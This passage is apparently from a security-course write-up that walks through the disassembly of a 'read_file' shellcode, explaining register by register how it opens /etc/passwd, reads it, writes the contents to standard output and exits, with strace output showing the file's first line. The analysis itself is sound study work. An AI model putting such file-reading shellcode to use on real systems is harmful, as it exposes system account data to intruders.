As we see at the above prototype, the read system call takes two arguments, the count and the buf. More precisely and according to the man page, the read system call attempts to read up to count bytes from file descriptor fd into the buffer starting at buf. At this point and before we move further with the analysis we should check the Linux system call reference table to see the registers that referring to the read system call arguments. As we see at the table, the ebx register that holds the 0x5 hex value refers to the first argument of the read system call, the ecx register is referring to the second argument and edx register is referring to the third argument. 

The ecx register which represents the second argument of the read system call will point at the top of the stack after the execution of the following two instructions mov edi, esp and mov ecx, edi. The second argument indicates the buffer from which the read system call will read the contents. 

  
mov edi,esp  ; moves esp to edi 
mov ecx,edi  ; moves edi to esp 
mov edx,0x1000 ; moves 0x1000 ( 4096 in decimal ) to edx register 
int 0x80 ; executes the read system call 

Furthermore, the edx register will hold the hex value 0x1000 ( 4096 in decimal ). Moreover, as we mentioned before, the edx register refers to the third argument of the read system call where the read system call reads up to 4096 bytes from file descriptor fd into the buffer starting at buf. After calling the instruction int 0x80 the read system call will be executed and then the return value will contain the number of bytes read from the specified file descriptor.

Moreover, according with the above results, the read system call will be constructed as follows 

read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096)

Next, we will continue to analyse the following code snippet 

0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80

Furthermore, the eax register will contain the return value of read system call, referring to the number of bytes read from the specified file descriptor. In order to see the number of bytes read from the specified file descriptor we will use a tool called strace. According to the main site of the   strace utility, the strace is a diagnostic, debugging and instructional userspace utility for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal deliveries, and changes of process state. For now all we need to see  from strace is the return value of the read system call. 

root@kali:~/Documents/SLAE/Assignment5# strace ./shellcode
[...]
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 3145
[...]

From strace output we are seeing that the read system call returned 3145 which will be assigned to eax register. Later on the edx register will be assigned with the value of eax register as seen below

 mov edx,eax ;the returned value of read system call will be moved to edx register from eax register

Then the eax register will be assigned with the immediate value 0x4 which refers to the write system call as we see at the unistd_32.h header file below

root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_write "
#define __NR_write 4

The write system call prototype is as follows

#include <unistd.h>

ssize_t write(int _fd_ , const void _buf_ , size_t _count_ );

As we see the write system call takes  three arguments. According to the man page the write system call writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd. Also from the Linux system call table we can see the registers that referring to write the system call arguments. As we see from the table,  the edx register refers to the third argument, the ecx register to the second and the ebx register to the first argument. 

Next, the file descriptor will reference the file where the write system call will write the counted bytes, so the file descriptor will refer to the standard output which has the value 1 and it will be assigned to the ebx register as seen below 

mov ebx, 0x1 ; mov fd of standard output to ebx register

Then the write system call will be called using the instruction int 0x80 

int 0x80 ; execute the write system call

According with the above results the write system call will be as follows 

write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 3145)

The last code portion to analyse regarding  the ndisasm output is the following 

0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80

As we see above, the first instruction will move the immediate value 0x1 to eax register.

mov eax,0x1 ;moves 0x1 to eax register

As we see from the header file unistd_32.h, the the value 0x1 refers to the exit system call as seen below 

root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep "__NR_exit "
#define __NR_exit 1

The next instruction assigns the zero value to the exit system call providing the value of the status argument. According to the man page of exit system call, the value of status is returned to the parent process as the process’s exit status, and can be collected using one of the wait family of calls. The  exit system call used to terminate a program. Every command returns an exit status (sometimes referred to as a return status ). A successful command returns zero. The following instruction assigns the ebx register with zero value denoting the status of the exit system call. 

mov ebx,0x0 ; ebx register will be assigned with zero

Next ,the final instruction int 0x80 will be used to execute the exit system call in order to terminate the program gracefully. 

To summarise, from the read_file shellcode analysis the following system calls used 


open("/etc/passwd", O\_RDONLY)
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096)
write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 3145)
exit(0)